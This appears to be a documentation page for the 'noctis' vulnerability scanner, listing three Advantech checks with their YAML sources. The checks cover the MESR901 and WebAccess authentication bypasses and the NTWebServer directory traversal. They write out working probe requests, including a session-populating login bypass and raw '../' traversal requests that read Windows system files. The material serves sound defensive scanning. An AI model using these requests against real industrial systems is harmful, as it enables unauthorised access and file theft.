Advantech — 3 vulnerability checks
noctis ships 3 vulnerability checks for Advantech, covering 3 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Advantech MESR901 client-side authentication bypass
| CVE | CVE-2017-7909 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/advantech/CVE-2017-7909.yaml |
Requests the MESR901 network settings page (/network.html) without any credentials. A vulnerable firmware serves the full configuration form, since only browser-side JavaScript enforces the login; the finding is raised when the 200 reply carries the form's DHCP label and its address validation handler. Devices that require a server-side session answer with a login page or a redirect and are not reported.
How noctis detects it
- HTTP(S) request
GET /network.html - Checks
net.bodyforI want DHCP to setup the network - Checks
net.bodyforvalidateIPAddrAndGateway\(this\)→ finding QoD 75: Advantech MESR901 authentication bypass (CVE-2017-7909)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-7909
- https://www.cisa.gov/news-events/ics-advisories/icsa-17-285-02
Feed source — tests/vulnerabilities/advantech/CVE-2017-7909.yaml
# Advantech B+B SmartWorx MESR901 client-side authentication bypass — CVE-2017-7909
#
# Firmware 1.5.2 and earlier enforce login only in page JavaScript: the
# configuration pages are sent to any client and the browser script redirects
# anonymous users to the login form. Requesting the page directly therefore
# returns the protected network settings form without credentials.
#
# Detection: an anonymous GET /network.html must answer HTTP 200 with both
# markers of the network settings form (the DHCP radio label and the
# validateIPAddrAndGateway() submit handler). A login page, redirect or error
# raises nothing. QoD 75 (response analysis of protected content).
#
# CVSS follows the NVD v3.x score of CVE-2017-7909 (9.8).
# Ported from OpenVAS/Greenbone NVT 2017/gb_advantech_mesr901_auth_bypass_vuln.nasl
# (GPL-2.0-only); markers and path taken from that plugin.
uid: 4bb25a08-3d97-4a7b-b143-bcac21bb497d
name: "Advantech MESR901 client-side authentication bypass (CVE-2017-7909)"
description: |
Requests the MESR901 network settings page (/network.html) without any
credentials. A vulnerable firmware serves the full configuration form, since
only browser-side JavaScript enforces the login; the finding is raised when
the 200 reply carries the form's DHCP label and its address validation
handler. Devices that require a server-side session answer with a login page
or a redirect and are not reported.
cves: [CVE-2017-7909]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [advantech, mesr901, auth-bypass, ics, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-7909"
- "https://www.cisa.gov/news-events/ics-advisories/icsa-17-285-02"
# OpenVAS/Greenbone NASL 2017/gb_advantech_mesr901_auth_bypass_vuln.nasl (GPL-2.0-only)
steps:
- id: init-form
action: set_var
var_name: form_seen
var_value: false
- id: network-page
action: http_request
method: GET
port: "{{port}}"
path: /network.html
follow_redirects: false
store_as: net
- id: dhcp-label
action: match
source: net.body
pattern: "I want DHCP to setup the network"
condition: "net.status == 200"
on_match:
set_vars:
form_seen: true
- id: form-handler
action: match
source: net.body
pattern: 'validateIPAddrAndGateway\(this\)'
condition: "net.status == 200 && form_seen == true"
on_match:
finding:
title: "Advantech MESR901 authentication bypass (CVE-2017-7909)"
description: "The network settings page /network.html was served without any credentials; the login is enforced only by client-side JavaScript, so any anonymous client can read (and submit) the device network configuration."
remediation: "Upgrade the MESR901 firmware to a release newer than 1.5.2 that enforces authentication on the server, and restrict the management interface to trusted networks."
confidence_delta: 0.45
qod: 75
evidence: "GET /network.html without credentials returned HTTP {{net.status}} with the network settings form"Advantech WebAccess WaExlViewer authentication bypass
| CVE | CVE-2017-5152 |
|---|---|
| Severity | critical · CVSS 9.1 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/advantech/CVE-2017-5152.yaml |
Advantech WebAccess 8.1 lets an anonymous visitor open the WaExlViewer template list without signing in.
The check uses a fresh random ASP.NET session cookie. It first requests /WaExlViewer/templateList.aspx and requires the redirect to signinonly.asp (the page is protected for that session). It then POSTs a project/node form to /WaExlViewer/openRpt.aspx and requests templateList.aspx again with the same cookie. The finding is raised when the page is now served with the "Template List" content. Nothing is written on the target besides the session of the probe.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /WaExlViewer/templateList.aspx - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /WaExlViewer/openRpt.aspxwith a crafted body - HTTP(S) request
GET /WaExlViewer/templateList.aspx - Parses / computes the next value with a Rhai script
- Checks
res.foundfor^BYPASS$→ finding QoD 97: Authentication bypass: with one session cookie, GET /WaExlViewer/templateList.aspx was redirected to signinonly.asp (HTTP …); after POST /W…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-5152
- https://nvd.nist.gov/vuln/detail/CVE-2017-5154
- https://www.securityfocus.com/bid/95410
Feed source — tests/vulnerabilities/advantech/CVE-2017-5152.yaml
# Advantech WebAccess 8.1 — WaExlViewer authentication bypass (CVE-2017-5152)
#
# The WaExlViewer pages (templateList.aspx) normally redirect an anonymous session to
# signinonly.asp. A single unauthenticated POST to /WaExlViewer/openRpt.aspx with a
# project/node/path form populates the ASP.NET session, after which the same session
# reads the protected page.
#
# CVE mapping: the issue names CVE-2017-5152 (authentication bypass, proven here) and
# CVE-2017-5154 (SQL injection in the same product). The injection point of 5154 is not
# public, so this feed covers the authentication bypass only; `cves:` lists 5152.
#
# Source plugin 2017/gb_advantech_95410.nasl (OID 1.3.6.1.4.1.25623.1.0.140138, GPL-2.0-only):
# GET templateList.aspx with a random session cookie, expect signinonly.asp; POST
# openRpt.aspx; GET templateList.aspx again and match the template list page.
# This feed keeps that sequence, with a stricter outcome: the very same session must
# first be refused (redirect to signinonly.asp, no template list) and then served the
# template list, so a page that is simply public never matches.
# Write-free: the only state touched is a throw-away session of the scanner's own.
uid: 1a5ac9a6-04f6-4f0c-9b9c-6dd7b8c3f3c1
name: "Advantech WebAccess WaExlViewer authentication bypass (CVE-2017-5152)"
description: |
Advantech WebAccess 8.1 lets an anonymous visitor open the WaExlViewer template list
without signing in.
The check uses a fresh random ASP.NET session cookie. It first requests
/WaExlViewer/templateList.aspx and requires the redirect to signinonly.asp (the page is
protected for that session). It then POSTs a project/node form to
/WaExlViewer/openRpt.aspx and requests templateList.aspx again with the same cookie. The
finding is raised when the page is now served with the "Template List" content. Nothing
is written on the target besides the session of the probe.
cves: [CVE-2017-5152]
cvss: 9.1
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [advantech, webaccess, auth-bypass, aspnet]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-5152"
- "https://nvd.nist.gov/vuln/detail/CVE-2017-5154"
- "https://www.securityfocus.com/bid/95410"
steps:
- id: gen-session
action: script
code: |
#{ cookie: "ASP.NET_SessionId=" + rand_hex(12), tag: rand_hex(4) }
store_as: sc
- id: init-before
action: set_var
var_name: before
var_value: {status: 0, body: null, headers: {}}
- id: init-open
action: set_var
var_name: open_resp
var_value: {status: 0, body: null}
- id: init-after
action: set_var
var_name: after
var_value: {status: 0, body: null}
# Before: the protected page must refuse this session
- id: before-probe
action: http_request
method: GET
port: "{{port}}"
path: "/WaExlViewer/templateList.aspx"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Cookie: "{{sc.cookie}}"
store_as: before
- id: check-before
action: script
code: |
let body = if type_of(before.body) == "string" { before.body } else { "" };
let loc = if "location" in before.headers { before.headers["location"] } else { "" };
let blocked = (before.status == 302 || before.status == 200) && (stridx(tolower(loc), "signinonly.asp") >= 0 || stridx(tolower(body), "signinonly.asp") >= 0) && stridx(body, "Template List") < 0;
#{ blocked: blocked }
store_as: gate
# Bypass: populate the session
- id: open-rpt
action: http_request
method: POST
port: "{{port}}"
path: "/WaExlViewer/openRpt.aspx"
condition: "gate.blocked"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Cookie: "{{sc.cookie}}"
Content-Type: "application/x-www-form-urlencoded"
body: "projName=noctis{{sc.tag}}&nodeName=noctis{{sc.tag}}&waPath=C%3A%5CWebAccess%5CNode"
store_as: open_resp
- id: after-probe
action: http_request
method: GET
port: "{{port}}"
path: "/WaExlViewer/templateList.aspx"
condition: "gate.blocked && open_resp.status == 200"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Cookie: "{{sc.cookie}}"
store_as: after
- id: check-after
action: script
code: |
let body = if type_of(after.body) == "string" { after.body } else { "" };
let ok = gate.blocked && open_resp.status == 200 && after.status == 200
&& stridx(body, "Template List") >= 0 && stridx(body, "function popupChangeTemplateDiv") >= 0 && stridx(body, "templateName") >= 0;
#{ ok: ok, found: if ok { "BYPASS" } else { "" } }
store_as: res
- id: report-bypass
action: match
source: res.found
pattern: "^BYPASS$"
condition: "res.ok"
on_match:
finding:
cves: [CVE-2017-5152]
confidence_delta: 0.67
qod: 97
evidence: "Authentication bypass: with one session cookie, GET /WaExlViewer/templateList.aspx was redirected to signinonly.asp (HTTP {{before.status}}); after POST /WaExlViewer/openRpt.aspx (HTTP {{open_resp.status}}) the same request returned the Template List page (HTTP {{after.status}})"
stop: trueAdvantech Studio 'NTWebServer.exe' Directory Traversal
| CVE | CVE-2013-1627 |
|---|---|
| Severity | high · CVSS 7.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/advantech/CVE-2013-1627.yaml |
Tests Advantech Studio NTWebServer for an unauthenticated directory traversal. After confirming the Advantech product marker on /startup.html, a crafted `../`-sequence request reads a Windows system file (boot.ini / win.ini); the leaked file content confirms the vulnerability (CVE-2013-1627).
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /startup.html HTTP/1.0 - Checks
startup_resp.bannerforAdvantech - Raw TCP (TLS on HTTPS), sent verbatim:
GET ../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.0 - Checks
bootini_resp.bannerfor(?s)^HTTP/1\.[01] 200.*\[boot loader\]→ finding QoD 75: Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627) - Raw TCP (TLS on HTTPS), sent verbatim:
GET ../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.0 - Checks
winini_resp.bannerfor(?si)^HTTP/1\.[01] 200.*; for 16-bit app support→ finding QoD 75: Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627) - Raw TCP (TLS on HTTPS), sent verbatim:
GET ../../../../../../../../../../../../../../../../../../winnt/win.ini HTTP/1.0 - Checks
winntini_resp.bannerfor(?si)^HTTP/1\.[01] 200.*; for 16-bit app support→ finding QoD 75: Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627)
References:
Feed source — tests/vulnerabilities/advantech/CVE-2013-1627.yaml
# Advantech Studio 'NTWebServer.exe' Directory Traversal — CVE-2013-1627
#
# Advantech Studio 7.0 (NTWebServer.exe) fails to sanitise the request path,
# letting an unauthenticated attacker traverse out of the web root with a
# `../` sequence and read arbitrary files on the Windows host.
#
# Detection mirrors the source NASL:
# 1. GET /startup.html and confirm the "Advantech" product marker (gate only
# — product presence is a precondition, never a finding on its own).
# 2. Request `(../ × 18) + <windows file>` verbatim and confirm the leaked
# file content. The NASL loops traversal_files("windows"):
# boot.ini → "[boot loader]"
# winnt/win.ini → "; for 16-bit app support"
# windows/win.ini → "; for 16-bit app support"
# Only a leaked-file match raises a finding (QoD 75, response analysis).
#
# The payload is a literal `../` sequence, so the request is sent verbatim over
# HTTP/1.0 via tcp_connect (reqwest would collapse the `../` before sending) and
# matched on resp.banner.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_advantech_NTWebServer_56871.nasl
# (GPL-2.0-only). Request path and match patterns taken from that plugin and
# traversal_func.inc.
uid: eb290849-6720-4216-9d10-57f9e885e589
name: "Advantech Studio 'NTWebServer.exe' Directory Traversal (CVE-2013-1627)"
description: |
Tests Advantech Studio NTWebServer for an unauthenticated directory traversal.
After confirming the Advantech product marker on /startup.html, a crafted
`../`-sequence request reads a Windows system file (boot.ini / win.ini); the
leaked file content confirms the vulnerability (CVE-2013-1627).
cves: [CVE-2013-1627]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [advantech, advantech-studio, ntwebserver, path-traversal, lfi, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-1627"
- "http://www.securityfocus.com/bid/56871"
# OpenVAS/Greenbone NASL 2013/gb_advantech_NTWebServer_56871.nasl (GPL-2.0-only)
steps:
# Initialise condition vars (an undefined var in a condition throws and the
# step is silently skipped).
- id: init-advantech
action: set_var
var_name: advantech_confirmed
var_value: false
- id: init-traversal
action: set_var
var_name: traversal_confirmed
var_value: false
# ── Gate: the service identifies as Advantech Studio ────────────────────
- id: startup-probe
action: tcp_connect
port: "{{port}}"
send: "GET /startup.html HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: startup_resp
- id: startup-match
action: match
source: startup_resp.banner
pattern: "Advantech"
on_match:
set_vars:
advantech_confirmed: true
# ── Traversal 1: boot.ini (primary) ─────────────────────────────────────
# Verbatim "../" × 18 prefix, exactly as the NASL's crap(data:"../", length:54).
- id: traversal-bootini
action: tcp_connect
port: "{{port}}"
send: "GET ../../../../../../../../../../../../../../../../../../boot.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: bootini_resp
condition: "advantech_confirmed == true"
- id: traversal-bootini-match
action: match
source: bootini_resp.banner
# Require HTTP 200 AND the leaked boot.ini content (NASL pattern "[boot loader]").
pattern: "(?s)^HTTP/1\\.[01] 200.*\\[boot loader\\]"
condition: "advantech_confirmed == true"
on_match:
finding:
title: "Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627)"
description: "A crafted ../-sequence request to NTWebServer returned HTTP 200 and leaked the Windows boot.ini file, confirming the unauthenticated directory traversal affecting Advantech Studio."
remediation: "Apply the vendor hotfix for Advantech Studio (contact the vendor)."
confidence_delta: 0.55
qod: 75
evidence: "Traversal via ../boot.ini leaked Windows system file: {{bootini_resp.banner}}"
set_vars:
traversal_confirmed: true
stop: true
# ── Traversal 2: windows/win.ini (fallback) ─────────────────────────────
- id: traversal-winini
action: tcp_connect
port: "{{port}}"
send: "GET ../../../../../../../../../../../../../../../../../../windows/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: winini_resp
condition: "advantech_confirmed == true && traversal_confirmed != true"
- id: traversal-winini-match
action: match
source: winini_resp.banner
pattern: "(?si)^HTTP/1\\.[01] 200.*; for 16-bit app support"
condition: "advantech_confirmed == true && traversal_confirmed != true"
on_match:
finding:
title: "Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627)"
description: "A crafted ../-sequence request to NTWebServer returned HTTP 200 and leaked the Windows win.ini file, confirming the unauthenticated directory traversal affecting Advantech Studio."
remediation: "Apply the vendor hotfix for Advantech Studio (contact the vendor)."
confidence_delta: 0.55
qod: 75
evidence: "Traversal via ../windows/win.ini leaked Windows system file: {{winini_resp.banner}}"
set_vars:
traversal_confirmed: true
stop: true
# ── Traversal 3: winnt/win.ini (legacy NT fallback) ─────────────────────
- id: traversal-winntini
action: tcp_connect
port: "{{port}}"
send: "GET ../../../../../../../../../../../../../../../../../../winnt/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: winntini_resp
condition: "advantech_confirmed == true && traversal_confirmed != true"
- id: traversal-winntini-match
action: match
source: winntini_resp.banner
pattern: "(?si)^HTTP/1\\.[01] 200.*; for 16-bit app support"
condition: "advantech_confirmed == true && traversal_confirmed != true"
on_match:
finding:
title: "Advantech Studio NTWebServer Directory Traversal (CVE-2013-1627)"
description: "A crafted ../-sequence request to NTWebServer returned HTTP 200 and leaked the Windows winnt/win.ini file, confirming the unauthenticated directory traversal affecting Advantech Studio."
remediation: "Apply the vendor hotfix for Advantech Studio (contact the vendor)."
confidence_delta: 0.55
qod: 75
evidence: "Traversal via ../winnt/win.ini leaked Windows system file: {{winntini_resp.banner}}"
stop: true